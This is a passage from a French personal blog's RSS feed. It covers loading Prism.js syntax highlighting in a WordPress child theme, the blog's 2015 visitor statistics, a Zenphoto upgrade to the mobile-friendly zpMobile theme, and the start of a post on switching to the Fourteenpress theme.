qu&amp;rsquo;un thème parent. C&amp;rsquo;est une bonne pratique, cela permet entre autres de pouvoir mettre le thème parent à jour sans perdre des modifications apportées sur le thème enfant. Pour ma part, j&amp;rsquo;utilise le thème FourteenPress, qui est un thème enfant de FourteenPress.&lt;/p&gt;&#xA;&lt;p&gt;Quoiqu&amp;rsquo;il en soit, placer les deux fichers &lt;strong&gt;prism.js&lt;/strong&gt; et &lt;strong&gt;prism.css&lt;/strong&gt; précédemment récupérés dans le dossier de votre thème.&lt;/p&gt;&#xA;&lt;p&gt;Nous allons maintenant ajouter une nouvelle fonction à Wordpress de manière à charger ces deux fichiers. Si vous utilisez un thème enfant, c&amp;rsquo;est sans doute plus facile, le fichier &lt;strong&gt;functions.php&lt;/strong&gt; n&amp;rsquo;existe peut-être même pas ! Voilà donc ce qu&amp;rsquo;il faut y mettre (ou ajouter à l&amp;rsquo;existant le cas échéant) :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;php&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// Function to add prism.css and prism.js to the site&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;add_prism&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// Register prism.css file&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;wp_register_style&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;prismCSS&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// handle name for the style so we can register, de-register, etc.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;get_stylesheet_directory_uri&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/prism.css&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// location of the prism.css file&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// Register prism.js file&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;wp_register_script&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;prismJS&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;// handle name for the script so we can register, de-register, etc.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;get_stylesheet_directory_uri&lt;/span&gt;() &lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/prism.js&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;// location of the prism.js file&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// Enqueue the registered style and script files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;wp_enqueue_style&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;prismCSS&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;wp_enqueue_script&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;prismJS&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;add_action&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;wp_enqueue_scripts&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;add_prism&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;3ème-étape--utilisation&#34;&gt;3ème étape : Utilisation&#xA;&lt;/h3&gt;&lt;p&gt;Il ne reste maintenant plus qu&amp;rsquo;à utiliser les balises suivantes pour démarrer les blocs de code : &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code class=&amp;quot;language-bash&amp;quot;&amp;gt;&lt;/code&gt; pour le bash, &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code class=&amp;quot;language-javascript&amp;quot;&amp;gt;&lt;/code&gt; pour le javascript, &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code class=&amp;quot;language-markup&amp;quot;&amp;gt;&lt;/code&gt; pour le HTML, etc&amp;hellip; Voilà un autre exemple avec le javascript :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;myObject&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;property1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;something&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;property2&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;property3&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et voilà !&lt;/p&gt;&#xA;&lt;h3 id=&#34;problèmes-rencontrés&#34;&gt;Problèmes rencontrés&#xA;&lt;/h3&gt;&lt;p&gt;J&amp;rsquo;ai tout de même rencontré un petit souci lors de l&amp;rsquo;implémentation de Prism.js : j&amp;rsquo;avais oublié de désactiver le plugin CodeAutoescape ! Ce qui fait qu&amp;rsquo;à chaque fois que je voulais utiliser &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code class=&amp;quot;language-bash&amp;quot;&amp;gt;&lt;/code&gt; par exemple, il était systématiquement remplacé par &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/code&gt; &amp;hellip;. Donc attention à un éventuel conflit avec un plugin de ce genre.&lt;/p&gt;&#xA;&lt;p&gt;Il faut d&amp;rsquo;ailleurs toujours utiliser l&amp;rsquo;onglet &amp;ldquo;Texte&amp;rdquo; de l&amp;rsquo;éditeur Wordpress pour insérer du code dans un article, sinon le TinyMCE Editor (onglet Visuel) risque fort d&amp;rsquo;interpréter certains caractères et de modifier complètement ce que l&amp;rsquo;on a tapé, et bien sûr le rendu de l&amp;rsquo;article.&lt;/p&gt;&#xA;&lt;p&gt;Autre remarque : même en utilisant l&amp;rsquo;onglet &amp;ldquo;Texte&amp;rdquo;, j&amp;rsquo;ai rencontré des problèmes. Il faut alors utiliser les &lt;a class=&#34;link&#34; href=&#34;http://www.w3schools.com/HTML/html_entities.asp&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;HTML entities&lt;/a&gt; à la place, typiquement pour le caractère &amp;ldquo;&amp;lt;&amp;rdquo; annonçant ducode PHP. Par exemple, taper ceci dans l&amp;rsquo;éditeur :&#xA;&lt;img alt=&#34;entities&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3075px&#34; data-flex-grow=&#34;1281&#34; height=&#34;27&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/prism-js-coloration-syntaxique-sans-plugin-pour-wordpress/entities.jpg&#34; width=&#34;346&#34;&gt;&#xA;Plutôt que cela :&#xA;&lt;img alt=&#34;noentities&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2853px&#34; data-flex-grow=&#34;1188&#34; height=&#34;27&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/prism-js-coloration-syntaxique-sans-plugin-pour-wordpress/noentities.jpg&#34; width=&#34;321&#34;&gt;&#xA;Le signe inférieur qui sert à indiquer le langage PHP est interprété alors qu&amp;rsquo;il ne devrait pas&amp;hellip;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog – année 2015</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2015/</link>
            <pubDate>Wed, 06 Jan 2016 18:49:55 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2015/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;bonne année 2016&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;bonneannee2016.jpg#floatleft&#34;&gt; Tout d’abord, meilleurs vœux pour cette nouvelle année 2016 à toutes et à tous passant sur ce blog, par hasard ou pas&amp;hellip;&#xA;Santé &amp;amp; bonheur pour vous et vos proches, c’est le plus important dans ce monde qui bascule doucement.&lt;/p&gt;&#xA;&lt;p&gt;Comme chaque année (ou presque), il est temps de faire les statistiques du blog. Et cette fois, on repart de zéro puisque fin 2014 j&amp;rsquo;ai migré vers un nouvel hébergeur, suite à des déconvenues avec Free (voir &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1&#34; &gt;ici&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;Repartir de zéro (ou changer d&amp;rsquo;hébergeur) a des avantages et des inconvénients, vous allez voir pourquoi !&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-stats&#34;&gt;Les stats&#xA;&lt;/h3&gt;&lt;p&gt;Commençons par le nombre de visites mensuelles : et là, ça fait mal, puisque le nombre de visites a encore chuté ; bon d&amp;rsquo;accord, il était déjà en baisse avant le changement d&amp;rsquo;hébergeur : après avoir passé la barre des 10 000 visites mensuelles en 2012, la moyenne 2013 était autour de  7 500 visites, et en-dessous de 5 000 visites pour l’année 2014. Ça, c&amp;rsquo;est quand j&amp;rsquo;étais chez Free.&lt;/p&gt;&#xA;&lt;p&gt;Pour l&amp;rsquo;année 2015, on dépasse péniblement les 2500 visites mensuelles en décembre&amp;hellip; Le bon côté des choses, c&amp;rsquo;est que la hausse est régulière depuis janvier 2015 (on partait de pas grand chose il est vrai) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2016/01/stats2015.jpg&#34; &gt;&lt;img alt=&#34;stats2015x500&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1176px&#34; data-flex-grow=&#34;490&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2015/stats2015x500.jpg&#34; width=&#34;500&#34;&gt;&lt;/a&gt; Le record de visites par jour est même déjà battu en janvier 2016&amp;hellip; Champagne ! :-)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2016/01/stats2015-1.jpg&#34; &gt;&lt;img alt=&#34;stats2015-1x500&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1181px&#34; data-flex-grow=&#34;492&#34; height=&#34;262&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2015/stats2015.jpg&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2015/stats2015_hu_3f0e82dfa81bccde.jpg 800w, https://pled.fr/statistiques-du-blog-annee-2015/stats2015.jpg 1290w&#34; width=&#34;1290&#34;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ce qui nous donne en comparant les années de 2009 à 2015 :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;31 694 en 2009&lt;/li&gt;&#xA;&lt;li&gt;45 260 en 2010&lt;/li&gt;&#xA;&lt;li&gt;70 283 en 2011&lt;/li&gt;&#xA;&lt;li&gt;107 008 en 2012&lt;/li&gt;&#xA;&lt;li&gt;91 574 en 2013&lt;/li&gt;&#xA;&lt;li&gt;48 604 en 2014&lt;/li&gt;&#xA;&lt;li&gt;17 923 en 2015&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Grâce au  plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;la page du plugin WP online counter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;, j&amp;rsquo;ai pu conserver le  nombre total de visiteurs du blog (depuis sa création), et on arrive donc cette année à &lt;strong&gt;1 162 849&lt;/strong&gt; visites à ce jour.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-articles&#34;&gt;Les articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant 971 articles publiés sur le blog, et 1 099 commentaires. Soit 76 articles rédigés en 2015, et 24 commentaires cette même année.&lt;/p&gt;&#xA;&lt;p&gt;Venons-en maintenant au bon côté des choses : les articles les plus lus !&lt;/p&gt;&#xA;&lt;p&gt;Avec l&amp;rsquo;accumulation au fil des années, on retrouvait souvent les mêmes articles d&amp;rsquo;année en année. Avec le changement d&amp;rsquo;hébergeur, ces statistiques sont également remises à zéro, ce qui redonne une chance aux articles plus récents d&amp;rsquo;apparaître dans le « &lt;strong&gt;top 20&lt;/strong&gt;»&amp;hellip; Sans pour autant avoir la moindre chance de détrôner les deux premiers articles concernant ma fracture du coude ! (à moins que je me re-casse quelque chose ? franchement, je préfère pas !).&#xA;Titre2015&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2829&#34; &gt;Fracture du coude – 6 mois après&lt;/a&gt;4 998&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;3 937&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2887&#34; &gt;Faire son arbre généalogique avec GRAMPS&lt;/a&gt;635&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8479&#34; &gt;Synchroniser les agendas de Thunderbird et Android avec Baïkal&lt;/a&gt;582&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2339&#34; &gt;Chute de vélo (à l’arrêt)&lt;/a&gt;463&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8576&#34; &gt;Rooter le Mororola Moto G 4G LTE&lt;/a&gt;400&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3946&#34; &gt;L’obsolescence programmée&lt;/a&gt;309&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2965&#34; &gt;Le principe de Peter et de Dilbert&lt;/a&gt;250&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9126&#34; &gt;Radiotray et les nouvelles URLs pour Radio-France&lt;/a&gt;174&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1579&#34; &gt;Prasat Preah Vihear&lt;/a&gt;158&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8413&#34; &gt;FreshRSS et EasyRSS : une bonne combinaison&lt;/a&gt;155&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=1687&#34; &gt;Tam Coc&lt;/a&gt;143&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6421&#34; &gt;TV Samsung, Mediatomb et Ubuntu&lt;/a&gt;139&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6171&#34; &gt;Bretagne 1950-2012&lt;/a&gt;128&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=310&#34; &gt;VTT Giant&lt;/a&gt;128&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3933&#34; &gt;Convertir les fichiers TS de la Freebox (SD)&lt;/a&gt;115&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=366&#34; &gt;Le pays Gallo&lt;/a&gt;113&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=3038&#34; &gt;Le guide TV libre QMagneto&lt;/a&gt;112&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=5220&#34; &gt;Proverbe grec&lt;/a&gt;108&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=4886&#34; &gt;Ils étaient les brigades rouges&lt;/a&gt;106&#xA;Et c&amp;rsquo;est l&amp;rsquo;article sur GRAMPS qui monte sur le podium, ce qui est plutôt une bonne surprise. Il y a aussi plusieurs articles récents liés au smartphone et ce que j&amp;rsquo;en fais (Baïkal, rooter, FreshRSS et EasyRSS) qui apparaissent, tant mieux. Deux articles écrits pendant mon voyage en Asie sont également présents (Prasat Preah Vihear au Cambodge, et Tam Coc au Vietnam), ça me fait bien plaisir.&lt;/p&gt;&#xA;&lt;p&gt;Le dernier article est celui sur les Brigades rouges : si vous n&amp;rsquo;avez pas vu ce reportage, regardez-le ! Je l&amp;rsquo;ai encore en mémoire (et aussi en fichier), c&amp;rsquo;est une histoire incroyable, très loin de la version officielle, et qui donne un bel exemple de la manipulation médiatique&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Aucun article sur la littérature n&amp;rsquo;apparaît par contre, et c&amp;rsquo;est bien dommage ! Le premier est en 24ème position, et c&amp;rsquo;est &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=108&#34; &gt;Le langage silencieux – Edward T. Hall&lt;/a&gt;, il a bien mérité d&amp;rsquo;être cité ici, d&amp;rsquo;autant que ce n&amp;rsquo;est pas un livre facile, mais réellement passionnant.&lt;/p&gt;&#xA;&lt;p&gt;Voilà, à l&amp;rsquo;année prochaine, et portez vous bien !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto v1.4.9 et nouveau thème zpMobile</title>
            <link>https://pled.fr/zenphoto-v1-4-9-et-nouveau-theme-zpmobile/</link>
            <pubDate>Mon, 27 Jul 2015 16:44:43 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-v1-4-9-et-nouveau-theme-zpmobile/</guid>
            <description>&lt;p&gt;&lt;img alt=&#34;nouveau  thème zpmobile&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zpmobile1.jpg#floatleft&#34;&gt; Après avoir changé le thème du blog pour l&amp;rsquo;adapter aux terminaux mobiles (voir l&amp;rsquo;article &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8869&#34; &gt;Nouveau thème : Fourteenpress&lt;/a&gt;), il me restait à m&amp;rsquo;occuper du thème de Zenphoto (Zenpage) qui n&amp;rsquo;était pas &amp;ldquo;Google mobile-friendly&amp;rdquo; et franchement pas pratique à visualiser sur un smartphone !&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc regardé un peu ce qui se passait côté zenphoto, et découvert que la dernière version incluait un thème adapté aux mobiles, j&amp;rsquo;ai nommé &lt;strong&gt;zpmobile&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Hier, je me suis donc décidé à mettre à jour Zenphoto à la dernière version, soit la 1.4.9 (j&amp;rsquo;en étais resté à la 1.4.6). J&amp;rsquo;y suis allé prudemment, en faisant bien les sauvegardes qu&amp;rsquo;il fallait au cas où il faille revenir en arrière, et tout s&amp;rsquo;est très bien passé. J&amp;rsquo;ai alors pu sélectionner le thème zpmobile.&lt;/p&gt;&#xA;&lt;p&gt;Comme le montre la photo ci-contre, l&amp;rsquo;affichage est bien adapté au smartphone. Le thème est assez sobre, j&amp;rsquo;aime bien. Il a tout de même fallu que j&amp;rsquo;ajoute le bouton &amp;ldquo;Retour au blog&amp;rdquo; qui n&amp;rsquo;est évidemment pas présent par défaut. Et c&amp;rsquo;est là que tout s&amp;rsquo;est compliqué&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;avais tout d&amp;rsquo;abord fait quelques tests en local sur mon PC. Après quelques tâtonnements pour trouver les bonnes classes CSS à utiliser pour que ce simple lien ressemble aux autres boutons, tout fonctionnait à merveille sur mon PC. So far so good !&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;applique alors les mêmes modifications sur le site en ligne, plutôt confiant, et &amp;hellip; ça ne marche pas ! Page blanche, et un beau message d&amp;rsquo;erreur : &amp;ldquo;ReferenceError: Gravatar is not defined&amp;rdquo; dans la console de Firebug :&lt;img alt=&#34;console firebug&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1462px&#34; data-flex-grow=&#34;609&#34; height=&#34;115&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-v1-4-9-et-nouveau-theme-zpmobile/console.jpg&#34; width=&#34;701&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Le même message pouvait également concerner WpdTree, une fonction utilisée par un plugin wordpress. En fait, il n&amp;rsquo;a pas grand chose à voir avec mon problème !&lt;/p&gt;&#xA;&lt;p&gt;Bref, j&amp;rsquo;étais coincé, impossible d&amp;rsquo;ajouter ce simple lien ! Ne trouvant pas de solutions, j&amp;rsquo;ai posé la question sur le forum de Zenphoto. Une heure après, j&amp;rsquo;avais la réponse.&lt;/p&gt;&#xA;&lt;p&gt;En fait, c&amp;rsquo;était tout bête, il suffisait d&amp;rsquo;ajouter un paramètre au lien HTML lui indiquant que le lien est un lien externe. Indispensable avec ce thème qui utilise le &lt;a class=&#34;link&#34; href=&#34;https://demos.jquerymobile.com/1.4.5/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;framework jQuery Mobile&lt;/a&gt; ! Par défaut il intercepte tout, il faut donc lui signaler que ce lien ne lui est pas destiné.&lt;/p&gt;&#xA;&lt;p&gt;Voilà donc ce que j&amp;rsquo;ai inséré dans le fichier functions.php du thème zpmobile : la &amp;ldquo;class&amp;rdquo; définie donne le bouton en fond noir et coins arrondis (sans rien avoir à changer dans le fichier style.css du thème), et donc le fameux paramètre &amp;ldquo;rel = external&amp;rdquo; du lien qui résout mon problème.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;modifications de functions.php&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;295px&#34; data-flex-grow=&#34;123&#34; height=&#34;579&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/zenphoto-v1-4-9-et-nouveau-theme-zpmobile/functions.png&#34; width=&#34;714&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et voilà, Zenphoto utilise désormais lui-aussi un thème adapté aux mobiles ! :-)&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Nouveau thème : Fourteenpress</title>
            <link>https://pled.fr/nouveau-theme-fourteenpress/</link>
            <pubDate>Tue, 19 May 2015 15:52:51 +0000</pubDate>
            <guid>https://pled.fr/nouveau-theme-fourteenpress/</guid>
            <description>&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2015/05/fourteenpress.png&#34; &gt;&lt;img alt=&#34;thème fourteenpress&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;342px&#34; data-flex-grow=&#34;142&#34; height=&#34;140&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/nouveau-theme-fourteenpress/fourteenpress-200.png&#34; width=&#34;200&#34;&gt;&lt;/a&gt; Voilà, un nouveau thème est maintenant actif, il s&amp;rsquo;agit du thème &lt;a class=&#34;link&#34; href=&#34;http://noorsplugin.com/fourteenpress/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Fourteenpress&lt;/a&gt;, qui est en fait un &amp;ldquo;child theme&amp;rdquo; de &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/themes/twentyfourteen/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Twenty Fourteen&lt;/a&gt;, mais adapté aux blogs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/themes/twentyfourteen/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Twenty Fourteen&lt;/a&gt; est l&amp;rsquo;un des thèmes proposés de base par wordpress, mais offrant un affichage de type Magazine, qui ne me convenait guère. &lt;a class=&#34;link&#34; href=&#34;http://noorsplugin.com/fourteenpress/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Fourteenpress&lt;/a&gt;, le thème-enfant donc, se résume globalement à un fichier de style CSS, qui suffit à modifier toute l&amp;rsquo;apparence, c&amp;rsquo;est d&amp;rsquo;ailleurs assez bluffant.&lt;/p&gt;&#xA;&lt;p&gt;Tout cela fait suite à l&amp;rsquo;initiative de Google destinée à privilégier les sites adaptés aux mobiles (voir l&amp;rsquo;article &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8767&#34; &gt;Google mobile-friendly : il va falloir changer mon thème&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai tout de même fait quelques modifications de base avant de le mettre en ligne, notamment élargir la zone de texte pour les articles en passant à une seule colonne, et en réduisant un peu la largeur de cette dernière. Et aussi quelques modifications dans le fichier style.css, pour la compatibilité avec les anciens articles, des changements de 